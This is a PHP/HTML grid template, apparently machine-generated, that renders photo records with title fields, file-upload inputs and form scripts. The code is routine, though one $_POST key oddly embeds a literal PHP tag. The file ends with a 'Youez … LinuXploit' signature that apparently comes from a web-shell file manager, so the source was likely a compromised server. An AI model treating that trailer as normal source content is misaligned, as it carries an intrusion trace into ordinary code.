<?php if ($fotos->Export <> "" || $fotos->SortUrl($fotos->titulo) == "") { ?>
				<div class="ewTableHeaderCaption"><?php echo $fotos->titulo->FldCaption() ?></div>
<?php } else { ?>
				<div>
            	<div class="ewTableHeaderBtn"><span class="ewTableHeaderCaption"><?php echo $fotos->titulo->FldCaption() ?></span><span class="ewTableHeaderSort"><?php if ($fotos->titulo->getSort() == "ASC") { ?><span class="caret ewSortUp"></span><?php } elseif ($fotos->titulo->getSort() == "DESC") { ?><span class="caret"></span><?php } ?></span></div>
				</div>
<?php } ?>
			</span></td>
			<td<?php echo $fotos->titulo->CellAttributes() ?>>
<?php if ($fotos->RowType == EW_ROWTYPE_ADD) { // Add record ?>
<span id="el<?php echo $fotos_grid->RowCnt ?>_fotos_titulo" class="control-group fotos_titulo">
<input type="text" data-field="x_titulo" name="x<?php echo $fotos_grid->RowIndex ?>_titulo" id="x<?php echo $fotos_grid->RowIndex ?>_titulo" size="50" maxlength="255" placeholder="<?php echo $fotos->titulo->PlaceHolder ?>" value="<?php echo $fotos->titulo->EditValue ?>"<?php echo $fotos->titulo->EditAttributes() ?>>
</span>
<input type="hidden" data-field="x_titulo" name="o<?php echo $fotos_grid->RowIndex ?>_titulo" id="o<?php echo $fotos_grid->RowIndex ?>_titulo" value="<?php echo ew_HtmlEncode($fotos->titulo->OldValue) ?>">
<?php } ?>
<?php if ($fotos->RowType == EW_ROWTYPE_EDIT) { // Edit record ?>
<span id="el<?php echo $fotos_grid->RowCnt ?>_fotos_titulo" class="control-group fotos_titulo">
<input type="text" data-field="x_titulo" name="x<?php echo $fotos_grid->RowIndex ?>_titulo" id="x<?php echo $fotos_grid->RowIndex ?>_titulo" size="50" maxlength="255" placeholder="<?php echo $fotos->titulo->PlaceHolder ?>" value="<?php echo $fotos->titulo->EditValue ?>"<?php echo $fotos->titulo->EditAttributes() ?>>
</span>
<?php } ?>
<?php if ($fotos->RowType == EW_ROWTYPE_VIEW) { // View record ?>
<span<?php echo $fotos->titulo->ViewAttributes() ?>>
<?php echo $fotos->titulo->ListViewValue() ?></span>
<input type="hidden" data-field="x_titulo" name="x<?php echo $fotos_grid->RowIndex ?>_titulo" id="x<?php echo $fotos_grid->RowIndex ?>_titulo" value="<?php echo ew_HtmlEncode($fotos->titulo->FormValue) ?>">
<input type="hidden" data-field="x_titulo" name="o<?php echo $fotos_grid->RowIndex ?>_titulo" id="o<?php echo $fotos_grid->RowIndex ?>_titulo" value="<?php echo ew_HtmlEncode($fotos->titulo->OldValue) ?>">
<?php } ?>
</td>
		</tr>
	<?php } ?>
	<?php if ($fotos->foto->Visible) { // foto ?>
		<tr>
			<td class="ewTableHeader"><span class="fotos_foto">
<?php if ($fotos->Export <> "" || $fotos->SortUrl($fotos->foto) == "") { ?>
				<div class="ewTableHeaderCaption"><?php echo $fotos->foto->FldCaption() ?></div>
<?php } else { ?>
				<div>
            	<div class="ewTableHeaderBtn"><span class="ewTableHeaderCaption"><?php echo $fotos->foto->FldCaption() ?></span><span class="ewTableHeaderSort"><?php if ($fotos->foto->getSort() == "ASC") { ?><span class="caret ewSortUp"></span><?php } elseif ($fotos->foto->getSort() == "DESC") { ?><span class="caret"></span><?php } ?></span></div>
				</div>
<?php } ?>
			</span></td>
			<td<?php echo $fotos->foto->CellAttributes() ?>>
<?php if ($fotos_grid->RowAction == "insert") { // Add record ?>
<div id="el<?php echo $fotos_grid->RowCnt ?>_fotos_foto" class="control-group fotos_foto">
<span id="fd_x<?php echo $fotos_grid->RowIndex ?>_foto">
<span class="btn btn-small fileinput-button"<?php if ($fotos->foto->ReadOnly || $fotos->foto->Disabled) echo " style=\"display: none;\""; ?>>
	<span><?php echo $Language->Phrase("ChooseFile") ?></span>
	<input type="file" data-field="x_foto" name="x<?php echo $fotos_grid->RowIndex ?>_foto" id="x<?php echo $fotos_grid->RowIndex ?>_foto">
</span>
<input type="hidden" name="fn_x<?php echo $fotos_grid->RowIndex ?>_foto" id= "fn_x<?php echo $fotos_grid->RowIndex ?>_foto" value="<?php echo $fotos->foto->Upload->FileName ?>">
<input type="hidden" name="fa_x<?php echo $fotos_grid->RowIndex ?>_foto" id= "fa_x<?php echo $fotos_grid->RowIndex ?>_foto" value="0">
<input type="hidden" name="fs_x<?php echo $fotos_grid->RowIndex ?>_foto" id= "fs_x<?php echo $fotos_grid->RowIndex ?>_foto" value="255">
</span>
<table id="ft_x<?php echo $fotos_grid->RowIndex ?>_foto" class="table table-condensed pull-left ewUploadTable"><tbody class="files"></tbody></table>
</div>
<input type="hidden" data-field="x_foto" name="o<?php echo $fotos_grid->RowIndex ?>_foto" id="o<?php echo $fotos_grid->RowIndex ?>_foto" value="<?php echo ew_HtmlEncode($fotos->foto->OldValue) ?>">
<?php } elseif ($fotos->RowType == EW_ROWTYPE_VIEW) { // View record ?>
<span>
<?php if ($fotos->foto->LinkAttributes() <> "") { ?>
<?php if (!empty($fotos->foto->Upload->DbValue)) { ?>
<img src="<?php echo $fotos->foto->ListViewValue() ?>" alt=""<?php echo $fotos->foto->ViewAttributes() ?>>
<?php } elseif (!in_array($fotos->CurrentAction, array("I", "edit", "gridedit"))) { ?>	
&nbsp;
<?php } ?>
<?php } else { ?>
<?php if (!empty($fotos->foto->Upload->DbValue)) { ?>
<img src="<?php echo $fotos->foto->ListViewValue() ?>" alt=""<?php echo $fotos->foto->ViewAttributes() ?>>
<?php } elseif (!in_array($fotos->CurrentAction, array("I", "edit", "gridedit"))) { ?>	
&nbsp;
<?php } ?>
<?php } ?>
</span>
<?php } else  { // Edit record ?>
<div id="el<?php echo $fotos_grid->RowCnt ?>_fotos_foto" class="control-group fotos_foto">
<span id="fd_x<?php echo $fotos_grid->RowIndex ?>_foto">
<span class="btn btn-small fileinput-button"<?php if ($fotos->foto->ReadOnly || $fotos->foto->Disabled) echo " style=\"display: none;\""; ?>>
	<span><?php echo $Language->Phrase("ChooseFile") ?></span>
	<input type="file" data-field="x_foto" name="x<?php echo $fotos_grid->RowIndex ?>_foto" id="x<?php echo $fotos_grid->RowIndex ?>_foto">
</span>
<input type="hidden" name="fn_x<?php echo $fotos_grid->RowIndex ?>_foto" id= "fn_x<?php echo $fotos_grid->RowIndex ?>_foto" value="<?php echo $fotos->foto->Upload->FileName ?>">
<?php if (@$_POST["fa_x<?php echo $fotos_grid->RowIndex ?>_foto"] == "0") { ?>
<input type="hidden" name="fa_x<?php echo $fotos_grid->RowIndex ?>_foto" id= "fa_x<?php echo $fotos_grid->RowIndex ?>_foto" value="0">
<?php } else { ?>
<input type="hidden" name="fa_x<?php echo $fotos_grid->RowIndex ?>_foto" id= "fa_x<?php echo $fotos_grid->RowIndex ?>_foto" value="1">
<?php } ?>
<input type="hidden" name="fs_x<?php echo $fotos_grid->RowIndex ?>_foto" id= "fs_x<?php echo $fotos_grid->RowIndex ?>_foto" value="255">
</span>
<table id="ft_x<?php echo $fotos_grid->RowIndex ?>_foto" class="table table-condensed pull-left ewUploadTable"><tbody class="files"></tbody></table>
</div>
<?php } ?>
</td>
		</tr>
	<?php } ?>
	</table>
<div class="ewMultiColumnListOption">
<?php

// Render list options (body, bottom)
$fotos_grid->ListOptions->Render("body", "", $fotos_grid->RowCnt);
?>
</div>
	</td>
<?php if ($fotos_grid->ColCnt == $fotos_grid->RecPerRow) { ?>
</tr>
<?php } ?>
<?php if ($fotos->RowType == EW_ROWTYPE_ADD || $fotos->RowType == EW_ROWTYPE_EDIT) { ?>
<script type="text/javascript">
ffotosgrid.UpdateOpts(<?php echo $fotos_grid->RowIndex ?>);
</script>
<?php } ?>
<?php
	}
	} // End delete row checking
	if ($fotos->CurrentAction <> "gridadd" || $fotos->CurrentMode == "copy")
		if (!$fotos_grid->Recordset->EOF) $fotos_grid->Recordset->MoveNext();
}
?>
<?php if ($fotos_grid->ColCnt < $fotos_grid->RecPerRow) { ?>
<?php for ($i = 1; $i <= $fotos_grid->RecPerRow - $fotos_grid->ColCnt; $i++) { ?>
	<td>&nbsp;</td>
<?php } ?>
</tr>
<?php } ?>
</table>
<?php if ($fotos->CurrentMode == "add" || $fotos->CurrentMode == "copy") { ?>
<input type="hidden" name="a_list" id="a_list" value="gridinsert">
<input type="hidden" name="<?php echo $fotos_grid->FormKeyCountName ?>" id="<?php echo $fotos_grid->FormKeyCountName ?>" value="<?php echo $fotos_grid->KeyCount ?>">
<?php echo $fotos_grid->MultiSelectKey ?>
<?php } ?>
<?php if ($fotos->CurrentMode == "edit") { ?>
<input type="hidden" name="a_list" id="a_list" value="gridupdate">
<input type="hidden" name="<?php echo $fotos_grid->FormKeyCountName ?>" id="<?php echo $fotos_grid->FormKeyCountName ?>" value="<?php echo $fotos_grid->KeyCount ?>">
<?php echo $fotos_grid->MultiSelectKey ?>
<?php } ?>
<?php if ($fotos->CurrentMode == "") { ?>
<input type="hidden" name="a_list" id="a_list" value="">
<?php } ?>
<input type="hidden" name="detailpage" value="ffotosgrid">
</div>
<?php

// Close recordset
if ($fotos_grid->Recordset)
	$fotos_grid->Recordset->Close();
?>
<?php if ($fotos_grid->ShowOtherOptions) { ?>
<div class="ewGridLowerPanel ewListOtherOptions">
<?php
	foreach ($fotos_grid->OtherOptions as &$option)
		$option->Render("body", "bottom");
?>
</div>
<?php } ?>
</div>
</td></tr></table>
<?php if ($fotos->Export == "") { ?>
<script type="text/javascript">
ffotosgrid.Init();
<?php if (EW_MOBILE_REFLOW && ew_IsMobile()) { ?>
ew_Reflow();
<?php } ?>
</script>
<?php } ?>
<?php
$fotos_grid->ShowPageFooter();
if (EW_DEBUG_ENABLED)
	echo ew_DebugMsg();
?>
<?php
$fotos_grid->Page_Terminate();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit